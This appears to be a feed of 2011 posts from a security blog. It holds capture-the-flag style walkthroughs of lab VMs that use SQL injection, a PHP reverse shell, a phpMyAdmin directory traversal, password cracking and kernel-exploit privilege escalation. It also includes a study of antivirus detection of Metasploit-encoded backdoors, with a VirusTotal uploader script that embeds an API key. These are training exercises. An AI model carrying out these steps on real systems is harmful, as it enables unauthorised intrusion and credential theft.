The ‘automated’ tag is because of the combination of Burp Proxy & SQLMap to discover the SQL injection vulnerability with very limited user interaction as well as using a kernel exploit to escalate privileges to gain root access. A more advanced method can be found here.

udp_sendmsg – (Found on exploit-db.com & Can be found in BackTrack 5).

Walkthrough

The first stage is to locate the target, which the attacker does by using “NetDiscover” as this quickly lists all IP’s, Media Access Control (MAC) addresses and any known vendors that relate to the MAC address in any subnet. The attacker knows that the target is using VMware, as there aren’t any other virtual machines in use and the target hasn’t spoofed their MAC address, therefore, the target is successfully identified.

As the attacker can now isolate the target on the network, the attacker proceeds by port scanning the target as this allows the attacker to see if there are any services which are listening on the exposed interface. The attacker chooses to use “UnicornScan” as it is accurate & efficient whilst scanning at speed. The result being it discovers 7 open TCP ports; 22 (SSH), 25 (SMTP), 80 (HTTP), 139 (NETBIOS), 445 (SAMBA), 3306 (MySQL) and 7777 (CBT). There is only 1 UDP port, 137 (NETBIOS). The attacker then chooses to verify the TCP results by using “nmap” to do another port scan. At the same time, the attacker takes advantage of some other features built into nmap, such as its scripting engine. This enumerates the open port’s protocols and services which have been detected, as well as banner grabbing. The attack chooses to interact with the web service which is running on the default TCP port 80. The justification for this is because it is a very graphical, friendly and common way in, allowing the end user to interact. As a result there could be lots of information which could be enumerated as well as very poorly written code which could be taken advantage of.

The web service responds normally when the attacker interacts with it using a web browser, “firefox”, however the attacker then takes it one stage further by capturing any requests which are made to it using “burp proxy”.

‘Normal’

Attacker (Firefox) Target (Web server)

‘Intercepted’

Attacker (Firefox) Burp Proxy Target (Web server)

By using burp proxy, the attacker is able to monitor every aspect of what is being requested and then how the web server responds. The attacker then just interacts normally with the target by viewing pages. The attacker soon sees the web service is running a blog, and notes the username (blogger) from which two posts have been made. After freely clicking a few links, the attacker sees that anyone can view the page which can make new blog posts, however there is a username & password field which the attacker doesn’t have credentials for along with a page to update their profile. The attacker doesn’t know any credentials and therefore fills in random junk data into the fields before submitting. This is done for burps benefit as it will capture the requests thus knowing data can be entered on this page. The attacker is presented with a message saying the username and or password is wrong. At this point the attack restores proxy settings as firefox is not needed any longer.

When the attacker was interacting the with the web application, they made a request with data that they entered. The data which was filled in was checked against a form of database to see if there was an entry that matched. By using “SQLMap” allows the attacker to manipulate the database in ways the original request wasn’t meant for (providing that the field hasn’t been ‘correctly’ filtered). SQLMap allows for multiple database formats, using different injection techniques and inbuilt enumeration to be tested without any user interaction. The attacker simply uses the log file which was created from burp and requests what information is to be enumerated. The attacker soon discovers the web service which is being used, as well as the operating system, the database and user which is connected to it, and, if that user is database administrator. The attacker then ‘dumps’ all the username and passwords for the database - these could be cracked to see if any credentials were re-used. The attacker checks to see if any users to the database and the operating system match. The attacker moves on by viewing the database structure as well as the contents. Upon inspection they enumerated three databases along with the column names, types and number of entries. The last stage for the attacker was to view the contents of the blog’s credentials. As the attacker has successfully managed to enumerate the whole database, the attacker was able to very easily locate the credentials, and soon discover that they are stored in ‘plain text’.

Another feature of burp is its ‘repeater’, which allows for data to be easily viewed, edited and sent multiple times. The attacker locates the request which was made at the beginning with junk data and passes it to the repeater and updates the respectable fields with the newly acquired credentials. The attacker notices another field, which, when they made the ‘normal’ request with the junk data, they didn’t have ‘control’ over. This ‘hidden’ field looks like it as a file extension that is commonly used for text files. Before the attacker makes the new request, they add an additional forward slash which is used to signal the use of folders instead of files in a Linux environment (which the attacker managed to identify when they used SQLMap). At the end of the response of the web application, is an error message informing the end user that it isn’t able to access the file or folder (this is due to the modified request), along with detailed paths such as the file which failed to access the location as well as the location which failed! The attacker copies the failed location and amends the path, to view the content which should have been requested. Upon viewing it, the attacker sees that this is the location of the signature for the user (text which is always included when the user makes a post). This wasn’t stored in the database, but in a file instead, which means to allow users to update their signatures this folder has to be writeable. The attacker goes back to the repeater, and tries to use a single PHP coded line in the signature to see if they are able to execute PHP functions on the server itself. Before they made the request, they fix the hidden field to be correct, as well as update the file format to indicate that it’s a PHP file and not a text document. The result is that the attacker was able to view their simple processed test message, not the code itself, which means the attacker, is able to write PHP functions and the target executes it.

Pentest monkey has created “php-reverse-shell” which allows for an interactive shell to spawn by using PHP. The attacker makes a copy of it, making sure the original version isn’t edited. Due to the nature of the shell, its reversed, which means communication comes back to the attacker, thus the shell needs to be able to locate the attacker. The attacker then specifies their IP address and a port of their choosing. After updating the shell, the attacker encodes it using “msfvenom” to ‘base64’. The reasoning for this is because we do not wish for the content of the shell to be interpreted by the blogging software’s update profile feature, as there is a chance the contents of the shell could be interrupted before it’s all submitted. Editor’s note: There are other reasons for encoding it, but I’m not discussing them now.

Before the attacker views the new signature, which would trigger the shell to be executed, the attacker needs to set up a listener, which will capture the request from the target with an interactive shell. The attacker uses “netcat” to be the handler as it is a ‘swiss army knife’, and is able to understand the raw data being sent from the target to it. The attacker has netcat listening on the same port as used in the shell, and then requests the php shell signature to be displayed. The target then executes the PHP commands, which decodes the base64 shell, and then processes the contents causing a shell to be sent back to the attacker. The end result being the attacker is now able to execute commands locally on the target machine using a interactive shell.

The attacker quickly checks to see which user they are currently logged in as. This will be the same as the web service as that was the process to execute the shell connection. The attacker now tries to escape privileges to gain a higher level of access to the system. One common method is by exploiting the kernel (ONLY if it is vulnerable!). The attacker finds the current kernel version out and searches their local copy of a public exploit database (“exploit-db.com”). Upon searching for the exact same kernel version, it only returns one known exploit (which was un-successful). The attacker carries on by searching for the same “major.intermediate” versions (removed “.minor”), and sorts them in ascending order. This returns results for kernel versions that are higher and lower than the target version as well as “generic” ones. The justification for this is due to how the exploits are labelled. In the name of the exploit the vulnerable version could be for a certain version AND lower versions. Therefore as the searched string wouldn’t match and it wouldn’t be displayed in the results yet it could work. After searching the results, the attacker finds a suitable exploit that will potentially work. After viewing the exploit, it requires additional files to be downloaded. The attacker downloads the exploit package and moves it to their local root folder website path. They make sure the exploit is able to be read by anyone by giving it the certainly permissions as the web server uses a different user than the one which the attacker is currently logged in as and executing commands as. The last stage is to start the web service.

Using the target, the attacker locates a folder which they have the permission to write and execute files from. After locating such a path, the attacker then controls the target to download the exploit package from the attacker and extract it. The included bash script does all the necessary commands and the end result is that the attacker has now gotten root access to the machine.

Game over

Upon exploring the file structure, in the home folder for the user “testuser” there is a folder called “stuff” which is only accessible to the superuser, root. Inside the folder, is a compressed archive of what appears to be the digital magazine, phrack. After it has been extracted and checking on the website the file was confirmed to be volume 67.

If you know of any more - please let me know!

]]>2011-11-02T11:58:00+00:00https://blog.g0tmi1k.com/2011/11/sitenews-issues-updates-withAs I use backtrack-linux for my attacker’s operating system, the OS has gone though some major updates (new tools have been added, some removed and most of them been updated)!

As a result there are a few minor issues with my guides for boot 2 roots. The general process is the same, so I didn’t see a “need” to re-do it all - I hope this quick note sums it all up!

Brute Forcing (Hydra)

It has been reported that Hydra isn’t ‘playing nice’ with backtrack 5 R1 (which at the time is the latest release of backtrack), but it’s happy with backtrack 5. On some machines running certain programs (e.g. hydra) inside VMware, it gives out tons of ’Waiting for child process’ error messages.

Swappage has done another method to escape privates to gain root access. Instead of using ‘ht’ to write file(s) in which to gain access, Swappage walks though the process of discovering and creating a exploit for the program instead!

Links

*This wasn’t meant to be live just yet!*

I scheduled all draft posts. I became ill and wasn’t available to stop it from posting.

I was cleaning out my bookmarks, de-cluttering twitter favourites and closing a few tabs. Re-saw a few ‘hidden gems’ as well as repeating finding links for people, so I thought I would try and ‘dump’ them all in one place.

These are roughly sorted, if you’re wanting something better - I highly recommend having a look at the pentest-bookmarks.

404’d

]]>2011-10-26T09:16:00+01:00https://blog.g0tmi1k.com/2011/10/current-situation-of-digital-securityI’m a university student trying to assess the current situation of digital security (both home users & businesses).

By taking a couple of minutes to anonymously fill in this survey (up to 24 questions), you would benefit my project greatly.

No personal or identifiable information will be collected.

All the results will be added up, analysed as a whole and released afterwards.

*For every 10 people who complete this survey, I will personally donate £1 (Up to £50) to Hackers For Charity (www.hackersforcharity.org).*

Direct link: here(survey is now closed)

I will release the results at a later date (along with project it was intended for!).

As its for a current piece of university work, I don’t wish to make it public until it has been marked.

Update (2010-12-19)

It’s given me plenty to analyse and I will be releasing the results of it as soon as the piece of work has been graded.

Thanks once again.

]]>2011-10-09T18:28:00+01:00https://blog.g0tmi1k.com/2011/10/encoding-filesNote: If you’re looking for methods on “how to bypass anti-virus software” - this page isn’t for you. This is an analysis about the effects of using the differences in Metasploit framework encoders:

How do different encoders compare with the detection rate of anti-virus?

Is there a relationship with increasing the encoded amount of time? Does it get detected less?

By altering the payload, will this have a affect?

If a different “template” is used, would it still detected the same amount of times?

Does encoding make the file detected more than if it wasn’t encoded at all?

Will the payload’s operating system matter?

Which anti-virus product was able to detect the most (and the least) amount?

Brief

The Metasploit framework was used to generate a various combination of executable programs which would grant remote access (a ‘backdoor’) to the machine.

Upon the creation of each file, the output was uploaded to VirusTotal which was scanned using multiple anti-virus products to reveal if any vendor was able to detect the “malicious malware”.

Method

As Metasploit customizes the output it creates, various settings were altered slightly each time upon creation, thus making each output unique slightly. In this experiment there were:

27x Encoders (Which algorithm to use)

5x Iterations (How many times to encode)

20x Payloads (What function to execute)

5x Templates (Which file to base the output around)

By looping through each of the above, each time modifying it once, the result produced 6750 unique files (note: It’s not the ‘full’ amount as some factors are OS dependant, example; you can’t use a windows program for a Linux template).

Each file was then uploaded to VirusTotal, which scans the file using 44 anti-virus products (note: The signatures used on virustotal are more ‘sensitive’ rather than the ones found publicly. Therefore they have a higher detection rate). VirusTotal services was used to save time as it automates the whole procedure and creates a report rather than manually scanning each file ourselves with every vendor.

VirusTotal has a public API feature, so to take advantage of this, a script (bmmvtu.py), was developed to automate this procedure, allowing for multiple files to scanned without any interaction.

#!/usr/bin/python#----------------------------------------------------------------------## Batch/Mass/Multiple VirusTotal.com Uploader (BMMVTU.py) v0.1 (2011-09-30)#---Important----------------------------------------------------------## Python 2.6+ & simplejson needs to be installed before hand ## Left a few debug commands & incomplete features in comments ## ## *** Do NOT use this for illegal or malicious use *** ## YOU are using this script at YOUR OWN RISK. ##This software is provided "as is" WITHOUT ANY guarantees OR warranty. ##----------------------------------------------------------------------#importgetopt,hashlib,httplib,itertools,mimetypes,os,pprint,simplejson,sys,time,urlparse#-----------------------------------------------------------------------key="def22a11de7bbff674094b877c1c1bab21fb3424b85720a70653958dcb7e8c2e"# Make sure to set this to your VirusTotal.com public API key.sleepTime=30# VirusTotal.com only allows 20 requests every 5 minitues.retry=3# The number of times to retry when something fails/Times to wait in the queue.separator="\t"# "," is commonly used for CSV files. TAB (\t) works well for pasting into spreadsheets.#-----------------------------------------------------------------------# Is it a valid file (Is it a file & its size)defcheck_file(filename):ifnotos.path.isfile(filename):print"[-] Error: '%s' is not a valid file"%filenamefout.write("Error!"+separator+"not a valid file"+separator+filename+"\n")returnFalsefilesize=os.path.getsize(filename)iffilesize<1orfilesize>20971519:print"[-] Error: Filesize (%s bytes)"%filesizefout.write("Error!"+separator+"Filesize is wrong"+separator+filename+"\n")returnFalsereturnTrue# Get the results from VirusTotal.comdefget_report(resource):json=post_multipart("https://www.virustotal.com/api/get_file_report.json",{'resource':resource,'key':key})returnsimplejson.loads(json)# Checks the server response for the API (blocked or wrong key)defresult_status(result,resource):whileresult==-2:# Exceeded the public API request rateprint"[-] Error: Exceeded the public API request rate (Waiting 60 second)"time.sleep(60)# Wait a bit before re-tryingdata=get_report(resource)# Check to see if MD5 is in the databaseresult=data['result']ifresult==-1:# API key provided is incorrectprint"[-] Error: The API key provided is incorrect"help()sys.exit(1)# Quit, because we can't go furtherreturn# Request the file to VirusTotal.comdefsend_file(filename):files=[('file',filename,open(filename,'rb').read())]json=post_multipart("https://www.virustotal.com/api/scan_file.json",{'key':key},files)returnsimplejson.loads(json)# The magic/behind the scene stuff/Under the bonnetdefdo_files(filenames):numFiles=len(filenames)count=0forfilenameinfilenames:# Do every filetry:# Keep going even if we get an errorcount+=1print"[>] Scanning %s/%s (%s)"%(str(count),str(numFiles),filename)ifcheck_file(filename)!=True:continuemd5sum=hashlib.md5(open(filename,'rb').read()).hexdigest()# Find the file's MD5 valuedata=get_report(md5sum)# Check to see if MD5 is in the databaseresult_status(data['result'],md5sum)# Check server responseifdata['result']!=1:# Not known to VirusTotal.comfor_initertools.repeat(None,retry):# Try xxx times to uploadprint"[>] File not found. Submitting (%s)"%filenamedata=send_file(filename)# Send the file to be scannedifdata['result']==1:# Have we successfully uploaded it?break# Yes!else:# No! Other? Fallback/Safey netprint"[-] Error: Submit failed (%s)"%filename# + str(pprint.pprint(data))time.sleep(sleepTime)# Wait a bit before re-tryingifdata['result']!=1:# Result != 1 if upload wasn't successfulprint"[-] Failed: Didn't submit (%s)"%filenamefout.write("Failed!"+separator+"Didn't submit"+separator+filename+"\n")continue# Move on to the next filefor_initertools.repeat(None,retry):# Try xxx times to checkforoindata:# Read all the JSON objectsifo=="report":# Does VirusTotal.com have a report..break# ...Yes! So quitelifo=="scan_id":# ...No. Still scanningscan_id=data['scan_id']# Use the new scan ID value, rather than the MD5print"[>] Waiting 60 seconds for VirusTotal.com to finish scanning (%s)"%scan_idtime.sleep(60)# Wait a bit before re-tryingelifdata['result']==0:# ...No. Does VirusTotal.com know of it yet?print"[>] Waiting in the queue"time.sleep(sleepTime)# Wait a bit before re-tryingdata=get_report(scan_id)# Check to see if MD5 is in the databaseresult_status(data['result'],scan_id)# Check server responseifdata['result']!=1:# Result != 1 if upload wasn't successfulprint"[-] Failed: VirusTotal.com is still scanning or a large queue. Try again later or increase 'retry' (%s)"%filenamefout.write("Failed!"+separator+"still scanning or a large queue"+separator+filename+"\n")#retry_files.append(scan_id)continueifcount<numFiles:# If we are not using the last file...time.sleep(sleepTime)# Sleep between requests so as not to overload VirusTotal.comreport=data['report']permalink=data['permalink']#scan_id = permalink.split('=')[1]timeStamp=report[0]reportEntries=report[1]numEntries=len(reportEntries)numDetects=0entryValues=dict.values(reportEntries)forvinentryValues:ifv!=u'':numDetects+=1output_string=md5sum+separator+timeStamp+separator+filename+separator+str(numEntries)+separator+str(numDetects)+separatorfork,vinsorted(reportEntries.iteritems()):k=k.encode("ascii")v=v.encode("ascii")ifv=="":v="-"output_string+=k+separator+v+separatoroutput_string+=permalinkfout.write(output_string+"\n")#pprint.pprint(data['report'])exceptExceptionase:print"[-] Error [1]: ",efout.write("Error!"+separator+str(e)+separator+filename+"\n")# Perform an HTTP POST requestdefpost_multipart(url,fields,files=()):content_type,data=encode_multipart_formdata(fields,files)url_parts=urlparse.urlparse(url)ifurl_parts.scheme=='http':h=httplib.HTTPConnection(url_parts.netloc)elifurl_parts.scheme=='https':h=httplib.HTTPSConnection(url_parts.netloc)path=urlparse.urlunparse(('','')+url_parts[2:])h.request('POST',path,data,{'content-type':content_type})returnh.getresponse().read()# Encoding the requestdefencode_multipart_formdata(fields,files=()):BOUNDARY='----------ThIs_Is_tHe_bouNdaRY_$'CRLF='\r\n'L=[]forkey,valueinfields.items():L.append('--'+BOUNDARY)L.append('Content-Disposition: form-data; name="%s"'%key)L.append('')L.append(value)for(key,filename,value)infiles:L.append('--'+BOUNDARY)L.append('Content-Disposition: form-data; name="%s"; filename="%s"'%(key,filename))content_type=mimetypes.guess_type(filename)[0]or"application/octet-stream"L.append('Content-Type: %s'%content_type)L.append('')L.append(value)L.append('--'+BOUNDARY+'--')L.append('')body=CRLF.join(L)content_type='multipart/form-data; boundary=%s'%BOUNDARYreturncontent_type,body# Help screendefhelp():print"\n\nAbout:"print" This is a Python script which makes use of VirusTotal.com's public API, to automate scanning multiple files."print" To use this you will need a \"API key\" from VirusTotal.com (Free signup).\n\n"print"bmmvtu.py --output <outputFile> <evil1 evil2 evil3...>\n"print"Arguments:"print" -o --output Path of the file to write output to"print" -h --help Prints this help message\n\n"print"Example:"print" bmmvtu.py -o results.csv evil1.exe evil2.exe"print" bmmvtu.py --output results.txt folder/*\n"#-----------------------------------------------------------------------print"[*] Batch/Mass/Multiple VirusTotal.com Uploader (BMMVTU) v0.1 (2011-09-30)"# Process argumentsopts,args=getopt.getopt(sys.argv[1:],"o:h",["output=","help"])foro,ainopts:ifoin('-o','--output'):outputFileName=aelifoin('-h','--help'):help()sys.exit(1)else:pass# Check for valid number of argumentsiflen(sys.argv)<4:print"[-] Error: Invalid number of arguments"help()sys.exit(1)# Check for API keyiflen(key)!=64:print"[-] Error: Please provide a valid API key"help()sys.exit(1)# Check the wait timeifsleepTime<15:print"[!] Warning: Its recommended to wait at least 15 seconds between requests"iflen(args)>20:print"[!] Warning: You will quicky max out your API request rate"try:fout=open(outputFileName,"w")fout.write("md5sum"+separator+"timeStamp"+separator+"filename"+separator+"NumberOfAVs"+separator+"NumberOfDetects"+separator+("<AV>"+separator+"<result> "+separator)*44+"permalink\n")#retry_files = list() # Retry these files (e.g. still waiting to be scanned)do_files(args)#do_files(retry_files)fout.close()exceptExceptionase:print"[-] Error [0]: ",eprint"[*] Done!"

References

]]>2011-08-24T19:50:00+01:00https://blog.g0tmi1k.com/2011/08/holynix-level-2Holynix is a series of operating systems with purposely designed weakness(es) left inside. The aim of them is to go from ”boot-to-root”; the user has to try and get a shell with the highest user privilege they can reach.

Walkthrough

To begin, the attacker needed to locate the target. This was accomplished by using “netdiscover”, as it was able to scan for hosts on multiple IP ranges quickly. The output from the scan had the target on a different IP range from the DHCP server’s pool, meaning the target had a static IP address. The IP address, MAC address and vendor was now known to the attacker and they updated their IP address to fit inside the same IP range as the target.

Once the attacker was in the same subnet as the target, the attacker completed a full port scan of both TCP & UDP on the target by using “unicornscan”. When the scan had finished, the results showed that the target had four TCP ports open: 21, 22, 53 & 80, as well as one UDP port, 53.

Afterwards, the attacker wanted to know what services were being used on these ports. By using “nmap” to banner grab the services, the protocols and services (and possible versions) were able to be identified, along with finger printing the operating system which was being used. The outcome of the scan revealed that the services being used matched up to their default protocol ports; ftp, ssh, dns and web services.

The attacker then proceeded by interacting with the target’s web server, and by doing so, they were able to find some useful information; the domain name, name servers and each user had their own sub-domain. The attacker updates their system to reflect the newly discovered information by replacing the DNS server to point to the target.

The attacker then sets out to produce a list of possible usernames via the sub-domain by using DNS enumeration. By using “dig” the attacker was able to gather details about the domain, zincftp.com. This revealed that there were two DNS servers; the primary server was pointed to itself, the secondary server had an IP address increased by one of the primary servers. From the earlier nmap scan, the attacker knew that this IP address wasn’t currently being used. The attacker then attempted a zone transfer as DNS port (TCP 53) was open, which would clone the DNS database; however it failed. But, by the attacker changing their IP address to match the secondary DNS server and re-trying the request, this time the attacker was presented with a list of all the known values for the DNS service.

The next stage was to extract a list of all known hosts from the sub-domains as well as a possible list of usernames. Upon futher inspection of the list, the attacker then filtered out all the primary server values - which left a few interesting results such as; the nameservers (which were already known), a mail server (which was on a completely different IP range) and trusted.zincftp.com.

The attacker then moves their force back to the web server. “DirBuster” was able to brute force a list of directories on a web server and check their status. In the first scan, the attacker notices two folders (/phpMyAdmin/ & /setup_guide/) which returned “HTTP response code 403 - Forbidden”. The attacker then changes their IP address to match the same value as “trusted.zincftp.com” and re-open another instance of DirBuster to compare the output. After the second scan had completed, the two previous denied folders, had returned “HTTP response code 200 - OK”. The attacker then chooses to view what was meant to be hidden and discovers that one page is an unprotected phpMyAdmin page as well as a directory listing which only contained one file “todo”.

By exploring the phpMyAdmin page, the attacker was able to view the contents of the database which contained two usernames and their email addresses, which the attacker adds to their list of known users. Afterwards, the attacker checks the version of phpMyAdmin and notices it’s a very old version and checks to see if there has been any known exploits released for it in their local copy of public exploits from “exploit-db”. After checking the versions the attacker discovers that there is a remote directory traversal vulnerability.

The exploit allowed the attacker to view any files which had the same permission that phpMyAdmin was being run as. By using this, the attacker was able to discover all the user accounts on the system, by using a known file which commonly contains details of each user on the system (/etc/passwd). After analysing the file the attacker saw that not every user had shell access, and filtered these users out, as they wouldn’t be able to gain remote shell. The attacker then made a note of those usernames in a separate file, as they have higher priority.
Afterwards the attacker viewed the “todo” file on the web server, which displayed the internal working of the company when a new user is added to the system. The last stage was to add them to the FTP service, allowing them to download/upload files to the server. By using the phpMyAdmin exploit, the attacker was able to read the encrypted password file which contained the user credentials.

The attacker now had a local copy of the users which were allowed to use the FTP service, along with their passwords, however, it was encrypted. The attacker then locates a small wordlist to attempt to brute force the passwords. After loading the passwords and wordlist into “John The Ripper”, the attacker discovered two passwords (jack-in-the-box and millionaire) which were used (due to them being inside the wordlist), along with the two usernames (dhammond and tmartin).

As the attacker was now able to view the user web folder via [username].zincftp.com, as well as being able to interact with the ftp server, the attacker created and uploaded a small test file to see if the two services overlapped with each other. (Editor’s note: The VM at this stage had “run out of room”, however, after restarting the holynix virtual machine it worked). The result was the message “Hello World” was displayed, meaning; FTP & Web root folders were the same, the attacker was able execute PHP commands. From this, the attacker then crafts a web based backdoor via “metasploit”, setups a listener to catch the reverse connection and repeated the same procedure as before.

As soon as the php backdoor file was opened, it connected back to the attacker giving them remote access to the system, which allowed the attacker to interact with the operating system. The attacker continued by listing all the files of each user’s personal home folder. As the backdoor was executed by the web server, the backdoor inherited the same permissions, and, as the web server had to display each user folder the attacker can also do the same. There were various personal files to some users; however the attacker spotted an email, and upon reading it discovered that the user had their password reset to their name along with a few random characters. The attacker located the username the email was sent to, after looking up the user’s details by using the same file as before (/etc/passwd), to discover their full name. It was also a user that had been discovered before, due to the user having permission to login remotely.

The attacker now connects to the target via “SSH” with the newly acquired details and as a result had a remote TTY shell. The attacker then checked the current kernel version, and discovered like phpMyAdmin, it was out-dated, and checks in the same manner to see if there is a public exploit for it. After locating a possible exploit, the attacker then copied it to their root web folder, checked that the file had permission to be accessed by “Apache”, that there wasn’t any comments at the start of the file and then started the web server, to make the file accessible to the target.

Going back to the target, the attacker navigates to a folder which they usually have write access as well as the ability to execute programs, /tmp. The attacker then downloads the exploit locally on the target and then compiles it. As soon as the newly created program had been executed the attacker became the super user, root. The attacker now has access to the complete system…

Game over

The attacker decided that they wished to harvest the system for credentials. As databases can contain valuable and sensitive information, the attacker opted to gain access. The attacker was running as root, which would allow them to reset the password to anything they wished. However, this would have caused the functionality to stop, so instead they located them (as they had to be stored somewhere allowing the web server to interact with the database). The attacker navigated to a common location for the web root folder to be, and then, by searching for all files with php extension that use a common function to connect to a MySQL database, the attacker found all the insistences of the command. The attacker was then able to view the complete file which contained the phrase, and discovered the credentials in plain text.

Notes

When starting the VM for the first time with VMware, select “Moved It” - otherwise it could cause issues (e.g. the target will not be visible!).

The user names which were collected were not essential for this, however this was included to demonstrate the techniques.

On reflection, DirBuster was only used to visible compare the HTTP codes, depending on the IP address used. This could of been achived manually as checking “/phpMyAdmin/” is highly recommend (along with “/robots.txt” for example). Then by using the phpMyAdmin exploit, viewing the file “/etc/apache2/sites-enabled/000-default” would have revealed “/setup_guides/”.

Some mistakes in the video are more obvious.

This video has been “over-edited” more than most of the other videos as it was made to fix the length of music.